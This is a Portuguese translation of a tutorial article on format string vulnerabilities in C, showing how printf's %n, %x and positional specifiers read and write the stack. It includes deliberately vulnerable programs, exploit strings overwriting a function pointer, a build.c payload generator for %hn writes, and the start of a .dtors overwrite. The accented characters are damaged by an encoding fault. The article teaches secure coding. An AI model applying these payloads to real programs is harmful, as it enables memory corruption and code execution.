Evitando Falhas de Seguran�a a desenvolver uma aplica��o - Parte 4: formata��o de strings

ArticleCategory:

Software Development

AuthorImage:

[image of the authors]

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

fr to en: Frédéric

en to en: Lorne Bailey

en to pt: Bruno Sousa

AboutTheAuthor:

O Christophe Blaess � um engenheiro aeron�utico independente. Ele � um f� do Linux e faz muito do seu trabalho neste sistema. Coordena a tradu��o das p�ginas man publicadas no Projecto de Documenta��o do Linux.

O Christophe Grenier � um estudante no 5� ano na ESIEA, onde, tamb�m trabalha como administrador de sistema. Tem uma paix�o por seguran�a de computadores.

O Frederic Raynal tem utilizado o Linux desde h� alguns anos porque n�o polui, n�o usa hormonas, n�o usa MSG ou farinha animal ... reclama somente o suor e a ast�cia.

Abstract

De h� algum tempo para c� que an�ncios de mensagens acerca da explora��o baseadas na formata��o de strings s�o mais numerosas. Este artigo explica de onde vem o perigo e mostrar-lhe-� que uma tentativa para guardar seis bytes � o suficiente para comprometer a seguran�a de um programa.

ArticleIllustration:[illustration]

[article illustration]

ArticleBody:[The real article: put the text and html-codes here]

Onde est� o perigo ?

Muitas falhas de seguran�a prov�m de m� configura��o ou desleixo. Esta regra permanece verdadeira para a formata��o de strings.

� necess�rio por vezes, utilizar strings terminadas em null num programa. Onde dentro do programa n�o � importante aqui. Esta vulnerabilidade �, de novo, acerca da escrita directa para a mem�ria. Os dados para o ataque podem vir da stdin, ficheiros, etc. Uma instru��o simples � o suficiente:

printf("%s", str);

Contudo, um programador pode decidir em guardar tempo e seis bytes quando s� escreve:

printf(str);

Com a "economia" em mente, o programador abre um potencial buraco no seu trabalho. Ele est� satisfeito em passar um �nica string como argumento a qual ele queria, simplesmente, apresentar sem nenhuma modifica��o. Contudo esta string ser� dividida em partes para se procurar directivas de formata��o (%d, %g...). Quando um caracter de formata��o � descoberto, o argumento correspondente � procurado na pilha.

Introduziremos as fun��es da fam�lia printf(). Pelo menos esperamos que toda a gente as conhe�a ... mas n�o em detalhe, ent�o lidaremos com os aspectos menos conhecidos destas rotinas. Depois veremos a informa��o necess�ria para explorar tal erro. Finalmente veremos como isto se encaixa num simples exemplo.

Aprofundando a formata��o de strings

Nesta parte consideraremos a formata��o de strings. Come�aremos com um recurso acerca do seu uso e descobriremos instru��es de formata��o pouco conhecidas que revelaram todo o seu mist�rio.

printf() : disseram-me uma mentira !

Nota para os residentes n�o Franceses: n�s temos no nosso simp�tico pa�s um ciclista corredor que afirma n�o se ter dopado enquanto que outros membros da sua equipa o admitiam. Afirmou que se dopou n�o o sabia. Ent�o um famoso fantoche mostrou o uso da frase Fancesa "on m'aurait menti!" o que me inspirou para este artigo.

Comecemos pelo que todos n�s aprendemos nos nossos livros de programa��o: muitas das fun��es de entrada/sa�da do C utilizam a formata��o dos dados o que significa que n�o s� providencia os dados para escrita/leitura bem como o modo de ser apresentado. O programa seguinte ilustra isto:

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
Correndo-o, apresenta:
>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a
O primeiro printf() escreve o valor da vari�vel inteira i e a vari�vel caracter a como int (isto � feito usando %d), o que leva a apresentar o valor ASCII. Por outro lado, o segundo printf() converte a vari�vel inteira i para o correspondente c�digo ASCII que � 64.

Nada de novo - tudo conforme as muitas fun��es com um prot�tipo semelhante � fun��o printf():

  1. um argumento, na forma de uma string de caracteres(const char *format) � usado para especificar o formato seleccionado;
  2. um ou mais argumentos opcionais, contendo as vari�veis nas quais os valores s�o formatados segundo as indica��es dadas na string anterior.

Muitas das nossas li��es de programa��o terminam aqui, providenciando uma lista n�o exaustiva das poss�veis formata��es (%g, %h, %x, e o uso do caracter ponto . para a precis�o...) Mas, existe um outro nunca falado: %n. Eis o que diz a p�gina do manual do printf acerca dele:

O n�mero de caracteres escritos at� ent�o � guardado num indicador int * (ou variante) num argumento de ponteiro. Nenhum argumento � convertido.

Eis aqui a coisa mais importante deste artigo: este argumento torna poss�vel a escrita numa vari�vel do tipo ponteiro , mesmo quando � usado numa fun��o de apresenta��o !

Antes de continuarmos, deixem-nos dizer que esta formata��o tamb�m existe para as fun��es da fam�lia scanf() e syslog().

Tempo de Jogar

Vamos estudar o uso e o comportamento desta formata��o atrav�s de pequenos programas. O primeiro, printf1, mostra um simples uso:

/* printf1.c */
1: #include <stdio.h>
2: 
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:   
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

A primeira chamada do printf() apresenta a string "0123456789" que cont�m 10 caracteres. A pr�xima formata��o %n escreve o valor da vari�vel n:

>>gcc printf1.c -o printf1
>>./printf1 
0123456789
n = 10
Transformemos, ligeiramente, o nosso programa substituindo a instru��o printf() da linha 7 pela seguinte:
7:   printf("buf=%s%n\n", buf, &n);

Correndo este novo programa, confirma a nossa ideia: a vari�vel n � agora 14, (10 caracteres da vari�vel string buf mais os 4 caracteres da string constante "buf=", contida na string de formata��o).

Ent�o, sabemos que a formata��o %n conta cada caracter que aparece na string de formata��o. Mais adiante, como demonstraremos com o programa printf2, conta ainda mais:

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;
  
  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
O uso da fun��o snprintf() � para prevenir de um buffer overflow. A vari�vel n devia ser 10:
>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100
Estranho ? De facto, a formata��o %n considera a quantidade de caracteres que devem ter sido escritos. Este exemplo que a truncagem tendo em conta o tamanho � ignorada.

O que � que realmente acontece ? A string de formata��o � estendida completamente antes de ser cortada e depois copiada para o buffer de destino:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
O printf3 cont�m algumas diferen�as comparativamente ao printf2: Obtemos a seguinte apresenta��o:
>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)
As duas primeiras linhas n�o s�o nenhuma surpresa. A �ltima ilustra o comportamento da fun��o printf() :
  1. A string � substitu�da, segundo os comandos 1 que cont�m, o que provid�ncia a string "00000\0";
  2. As vari�veis s�o escritas onde e como deviam, o que � ilustrado pela c�pia do x no nosso exemplo. Depois a string � algo parecido com "01234\0";
  3. Por �ltimo, sizeof buf - 1 bytes2 a partir desta string � copiado na string de destino buf, o que nos d� "0123\0"
Isto n�o � perfeitamente assim mas reflecte o processo geral. Para mais detalhes, o leitor deve referir-se aos sources da GlibC, em particular a vfprintf() no direct�rio ${GLIBC_HOME}/stdio-common.

Antes de terminarmos esta parte, adicionemos que � poss�vel de obter os mesmos resultados escrevendo a string de formata��o de um modo ligeiramente diferente. Previamente, utiliz�mos a precis�o (o ponto '.'). Uma outra combina��o de instru��es de formata��o conduz-nos a um resultado id�ntico: 0n, onde o n � o n�mero do comprimento , e o 0 significa que os espa�os devem ser trocados por 0 no caso de todo o comprimento n�o ser preenchido.

Agora que sabe tudo acerca da formata��o de strings, e muito especialmente acerca da formata��o %n, estudaremos os seus comportamentos.

A pilha e o printf()

Andando atrav�s da pilha

O pr�ximo programa gui�r-nos-� em toda esta sec��o para compreendermos como o printf() e a pilha se relacionam:

/* stack.c */
 1: #include <stdio.h>
 2: 
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
Este Programa s� copia um argumento para o vector de caracteres do buffer. Tomaremos cuidado para n�o escrevermos por cima de alguns dados importantes ( a formata��o de strings s�o, realmente, mais correctas que os excedimentos de buffer ;-)
>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
Trabalha como esper�vamos :) Antes de avan�armos examinemos o que acontece do ponto de vista da pilha ao chamar o snprintf() na linha 8.
Fig. 1 : A pilha no inicio do snprintf()
snprintf()

A Figura 1 descreve os estado da pilha quando o programa entra na fun��o snprintf() (veremos que isto n�o � verdade ... mas isto � s� para lhe dar uma ideia do que est� a acontecer). N�o nos import�mos com o registo %esp. Est� algures abaixo do registo %ebp. Como vimos num artigo anterior, os dois primeiros sectores localizados no %ebp e %ebp+4 cont�m as respectivas salvaguardas dos registos %ebp and %ebp+4. Seguindo-se os argumentos da fun��o snprintf():

  1. Endere�o de destino;
  2. O n�mero de caracteres a serem copiados;
  3. o endere�o da string de formata��o argv[1] que tamb�m se comporta como dado.
Por �ltimo, a pilha � preenchida at� cima com o vector tmp de 4 caracteres , com os 64 bytes da vari�vel buffer e a vari�vel inteira;

A string argv[1] � usada ao mesmo tempo como string de formata��o e de dados. Segundo a ordem normal da rotina snprintf() o, argv[1] aparece em vez da string de formata��o. Visto que pode utilizar a string de formata��o sem directivas de formata��o (s� texto), est� tudo bem :)

O que � que acontece quando argv[1] cont�m tamb�m dados de formata��o ? ? Normalmente, snprintf() interpreta-as como est�o ... e n�o existe nenhuma raz�o para agir de outro modo ! Mas aqui, pode querer saber quais os argumentos que v�o ser usados para a formata��o das strings de resultado. De facto o snprintf() extrai os dados da pilha ! Pode ver isto a partir do nosso programa stack:

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

Primeiro, a string "123 " � copiada para o buffer. O %x pede ao snprintf() para traduzir o seu primeiro valor para hexadecimal. Na figura 1, o primeiro argumento n�o � mais do que a vari�vel tmp que cont�m a string \x01\x02\x03\x00. � apresentado como sendo o n�mero hexadecimal 0x00030201 segundo o nosso processador little endian.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

Adicionando uma segunda vari�vel %x permite-lhe subir na pilha. Dia ao snprintf() para procurar pelos pr�ximos 4 bytes ap�s a vari�vel tmp. Estes 4 bytes s�o de facto os primeiros 4 bytes do buffer. Contudo, o buffer cont�m a string "123 ", a qual pode ser vista como o n�mero hexadecimal 0x20333231 (0x20=space, 0x31='1'...). Ent�o, para cada %x, o snprintf() "salta" 4 bytes para al�m do buffer ( 4 porque o unsigned int s� ocupa 4 bytes no processador x86). Esta vari�vel actua como agente duplo, pois:

  1. Escrevendo no destino;
  2. lendo dados de entrada a partir da formata��o.
Podemos "percorrer" a pilha desde que o nosso pequeno buffer contenha bytes:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378 
         0x333837] (63)
i = 1 (bffff654)

Mesmo Mais alto

O m�todo anterior permitiu-nos ver informa��o tal como o endere�o de retorno da fun��o que criou a pilha contendo o buffer. Contudo � poss�vel, com a correcta formata��o, ver para al�m do buffer vulner�vel.

Pode, ocasionalmente, encontrar um formato �til quando � necess�rio trocar entre os par�metros (por exemplo, ao apresentar a data e o tempo). Adicion�mos o formato m$, logo ap�s o %, onde o m � um inteiro >0. Isto d� a posi��o da vari�vel para utilizar uma lista de argumentos (come�ando por 1):

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

O formato utilizando m$ permite-nos ir at� onde queremos na pilha, como o pod�amos fazer com o gdb:

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

O caracter \ � necess�rio aqui para proteger o $ e para prevenir a shell do interpretar. Nas tr�s primeiras chamadas visit�mos o conte�do da vari�vel buf. Com %4\$x, obtemos o registo guardado %ebp, e com o pr�ximo %5\$x, o registo guardado %eip (tamb�m conhecido como endere�o de retorno). Os 2 resultados apresentados aqui, mostram o valor da vari�vel argc e o endere�o contido em *argv (lembre-se que **argv quer dizer que *argv � um vector de endere�os).

Em breve ...

Este exemplo ilustra que os formatos fornecidos permitem-nos percorrer a pilha � procura de informa��o, como o endere�o de retorno de uma fun��o, um endere�o ... Contudo vimos que no princ�pio deste artigo pod�amos escrever usando fun��es do tipo printf(): n�o vos parece isto uma potencial e maravilhosa vulnerabilidade ?

Primeiros Passos

Voltemos ao programa stack:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)
	
Damos como string de entrada:
  1. o endere�o da vari�vel i;
  2. uma instru��o de formata��o (%.496x);
  3. uma segunda instru��o de formata��o (%n) que escrever� para dentro do endere�o dado.
Para determinar o endere�o da vari�vel i (aqui 0xbffff664), podemos correr o programa uma segunda vez e alterar a linha de comandos, respectivamente. Como pode notar, aqui o i tem um novo valor :) A string de formata��o dada e a organiza��o da pilha fazem o snprintf() parecer-se algo como:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         4 primeiros bytes no buffer);

Os primeiros quatro bytes (contendo o endere�o i) s�o escritos no princ�pio do buffer. O formato %.496x permite-nos livrar-nos da vari�vel tmp que est� no principio da pilha. Depois quando a instru��o de formata��o � o %n, o endere�o utilizado � o de i, no principio do buffer. Apesar da precis�o requerida ser 496, o snprintf escreve no m�ximo sessenta bytes (porque o tamanho do buffer 'e 64 e 4 bytes j� foram escritos). O valor 496 � arbitr�rio e � somente utilizado para o "contador de bytes". Vimos que o formato %n guarda o n�mero de bytes que deviam ser escritos. Este valor � 496, ao qual adicion�mos 4 a partir dos 4 bytes do endere�o i no principio do buffer. Assim cont�mos 500 bytes. Este valor ser� escrito no pr�ximo endere�o da pilha, que � o endere�o do i.

Podemos ainda avan�ar neste exemplo. Para alterar o i, precis�vamos de saber o seu endere�o ... mas por vezes o pr�prio programa fornece-o:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Correndo este programa, mostra-se que podemos controlar a pilha (quase) praticamente como queremos:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Como pode var, dependendo do argumento, podemos alterar quer o cpt1, quer o cpt2. O formato %n espera um endere�o, eis o porqu� de n�o podermos agir directamente nas vari�veis (por exemplo usando %3$n (cpt2) ou %4$n (cpt1) ) mas tem de ser directamente atrav�s de ponteiros. Os �ltimos s�o "carne fresca" com enormes possibilidades para modifica��o.

Varia��es no mesmo t�pico

Os exemplos previamente apresentados prov�m de um programa compilado com o egcs-2.91.66 e o glibc-2.1.3-22. Contudo, voc� provavelmente n�o obter� os mesmos resultados na sua pr�pria experi�ncia. Al�m disso as fun��es do tipo *printf() alteram-se consoante a glibc e os compiladores n�o reagem da mesma maneira para opera��es id�nticas.

O programa stuff apresenta estas diferen�as:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {
  
  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

O vector aaa e bbb s�o usados como delimitadores na nossa jornada atrav�s da pilha. Assim sendo, sabemos que quando encontramos 424242, os bytes seguintes alteram-se no buffer. A Tabela 1 apresenta as diferen�as segundo as vers�es da glibc e os compiladores.

Tab. 1 : Varia��es � volta da glibc    
Compilador
glibc
Apresenta��o
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

A seguir neste artigo, continuaremos a utilizar o egcs-2.91.66 e a glibc-2.1.3-22, mas n�o se admire de notar algumas diferen�as na sua m�quina.

Explorando o bug da formata��o

Enquanto explorando o excedimento do buffer (overflow), utiliz�mos um buffer para escrever por cima do endere�o de retorno de uma fun��o.

Com a formata��o de strings, vimos que podemos ir a todo o lado (pilha, heap, bss, .dtors, ...), s� temos de dizer onde e o que escrever para o %n fazer o trabalho por n�s.

O programa vulner�vel

Pode explorar o bug de formata��o de modos diferentes. O artigo de P. Bouchareine's article (vulnerabilidade da formata��o de strings) mostra como escrever por cima do endere�o de retorno de uma fun��o, ent�o n�s mostraremos algo mais.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
  
  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);
  
  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

N�s definimos uma vari�vel chamada ptrf que � um ponteiro para a fun��o. Alteraremos o valor deste ponteiro para correr a fun��o que escolhemos.

Primeiro Exemplo

Primeiro, temos de obter a diferen�a entre o principio do buffer vulner�vel e a nossa posi��o corrente na pilha:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

A primeira chamada aqui d�-nos o que precisamos: 3 palavras (uma palavra = 4 bytes para processadores x86) separa-nos do inicio da vari�vel buffer. A segunda chamada com AAAA%3\$x como argumento, confirma isto.

O nosso objectivo � agora substituir o valor inicial do ponteiro ptrf (0x8048634, o endere�o da fun��o helloWorld()) com o valor 0x8048654 (endere�o da accessForbidden()). Temos de escrever 0x8048654 bytes (134514260 bytes em decimal, algo como 128Mbytes). Nem todos os computadores podem usufruir de tal mem�ria ... mas o que estamos a usar � capaz :) Demora cerca de 20 segundos num pentium duplo a 350 Mhz:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

O que � que n�s fizemos? Demos somente o endere�o de ptrf (0xbffff5d4). A pr�xima formata��o (%.134514256x) l� as primeiras palavras a partir da pilha com uma precis�o de 134514256 (j� t�nhamos escrito 4 bytes a partir do endere�o de ptrf, ent�o ainda temos de escrever 134514260-4=134514256 bytes). por �ltimo escrevemos o valor pretendido no endere�o dado (%3$n).

Problemas de mem�ria: dividir e conquistar

Contudo, como o mencion�mos, nem sempre � poss�vel utilizar 128 MG em buffers. O formato %n espera um ponteiro para um inteiro, ou seja quatro bytes. � poss�vel alterar o seu comportamento fazendo-o apontar para um short int - s� 2 bytes - gra�as � instru��o %hn. Ent�o cortamos o inteiro no qual queremos escrever em duas partes. A parte de escrita maior caber� em 0xffff bytes (65535 bytes). Ent�o no exemplo anterior, transformamos a opera��o de escrita "0x8048654 no endere�o 0xbffff5d4" em duas opera��es sucessivas: :

A segunda opera��o de escrita toma lugar nos bytes mais altos do inteiro o que explica o swap dos 2 bytes.

Contudo, %n (ou %hn) conta o n�mero de caracteres escritos para a string. Este n�mero s� pode aumentar. Primeiro, temos de escrever o valor ,mais pequeno entre os dois. Depois, a segunda formata��o s� usar� a diferen�a entre os n�meros necess�rios e o primeiro n�mero escrito com precis�o. Por exemplo, no nosso exemplo, a primeira opera��o de formata��o ser� de %.2052x (2052 = 0x0804) e a segunda %.32336x (32336 = 0x8654 - 0x0804). Cada %hn colocado logo ap�s a direita gravar� a correcta quantidade de bytes.

S� temos de especificar onde escrever ambos %hn. O operador m$ ajudar-nos imenso. Se guardarmos o endere�o de inicio do buffer vulner�vel, s� temos de subir pela pilha para encontrar a dist�ncia entre o inicio do buffer e o formato m$. Ent�o, ambos os endere�os estar�o a um comprimento de m e m+1. Como usamos os primeiros 8 bytes para guardar os endere�os para rescrita, o primeiro valor escrito deve ser decrementado por 8.

A nossa string de formata��o � algo parecido com:

"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"

O programa build utiliza tr�s argumentos para criar uma string de formata��o:

  1. o endere�o de rescrita;
  2. o valor para a� escrever;
  3. o comprimento (contado como palavras) desde o inicio do buffer vulner�vel.
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   The 4 bytes where we have to write are placed that way :
   HH HH LL LL
   The variables ending with "*h" refer to the high part
   of the word (H) The variables ending with "*l" refer
   to the low part of the word (L)
 */
char* build(unsigned int addr, unsigned int value, 
      unsigned int where) {

  /* too lazy to evaluate the true length ... :*/
  unsigned int length = 128; 
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* detailing the value */
  valh = (value >> 16) & 0xffff; //top
  vall = value & 0xffff;         //bottom

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* buffer allocation */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* let's build */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */         
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         valh-8,              /* set the value for the first %hn */  
         where,               /* the %hn for the high part */        
                                                         
         vall-valh,           /* set the value for the second %hn */ 
         where+1              /* the %hn for the low part */               
         );
         
  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */    
         "%%%d$hn"            /* the %hn for the high part */          
                                                           
         "%%.%hdx"            /* set the value for the second %hn */   
         "%%%d$hn"            /* the %hn for the low part */           
         ,                                                     
         b3+2, b2, b1, b0,    /* high address */                       
         b3, b2, b1, b0,      /* low address */                        
                                                           
         vall-8,              /* set the value for the first %hn */    
         where+1,             /* the %hn for the high part */          
                                                           
         valh-vall,           /* set the value for the second %hn */   
         where                /* the %hn for the low part */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */
  
  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

A posi��o dos argumentos altera-se consoante se o primeiro valor a ser escrito � a parte mais alta ou baixa da palavra. Verifiquemos o que obtemos agora, sem quaisquer problemas de mem�ria.

Primeiro, o nosso simples exemplo, permite-nos advinhar o comprimento:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

� sempre o mesmo: 3. Visto que o nosso programa � feito para explorar o que acontece, n�s j� temos toda a outra informa��o que precisamos: Os endere�os ptrf e accesForbidden(). Constru�mos o nosso buffer segundo isto:

>>./vuln `./build 0xbffff5d4 0x8048664 3` 
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Öõÿ¿Ôõÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Öõÿ¿Ôõÿ¿00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

Nada acontece ! De facto, vimos que us�mos um buffer grande no exemplo anterior da formata��o da string, a pilha alterou-se. O ptrf foi de 0xbffff5d4 para 0xbffff5b4). Os nossos valores precisam de ser ajustados:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Ganh�mos!!!

Outras Explora��es

Neste artigo, come�amos por provar que os bugs de formata��o s�o uma vulnerabilidade real. Uma outra preocupa��o � como explor�-los. A explora��o do excedimento do buffer (overflow) assenta na escrita do endere�o de retorno de uma fun��o. Depois tem de tentar � sorte e rezar imenso para que as suas scripts encontrem os valores correctos (mesmo que a eggshell esteja preenchida de NOP's). N�o precisa disto tudo para os bugs de formata��o e n�o fica mais restringido � sobreposi��o do endere�o de retorno.

Vimos que os bugs de formata��o permitem-nos escrever em qualquer lado. Ent�o, veremos agora uma explica��o baseada na sec��o .dtors

Quando um programa � compilado com o gcc, pode encontrar uma sec��o de constru��o (chamada .ctors) e um destrutor (chamado .dtors). Cada uma destas sec��es cont�m ponteiros para as fun��es a serem carregadas antes de fun��o main() e depois sair, respectivamente.

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
O nosso programa mostra esse mecanismo:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Cada uma destas sec��es � constru�da do mesmo modo:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............    
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............    
Verificamos que os endere�os indicados s�o iguais aos nossas fun��es (aten��o: o comando precedente objdump d�-nos os endere�os no formato little endian):
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Ent�o, estas sec��es cont�m os endere�os das fun��es que correm no principio (ou no fim), "encaixados" com 0xffffffff e 0x00000000.

Apliquemos isto ao vuln usando a formata��o de string. Primeiro temos de ter a localiza��o na mem�ria destas sec��es o que � realmente f�cil quando temos o bin�rio � m�o ;-) Utilize simplesmente o objdump como fizemos previamente:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........        
Aqui est� ! Temos tudo o que precisamos agora.

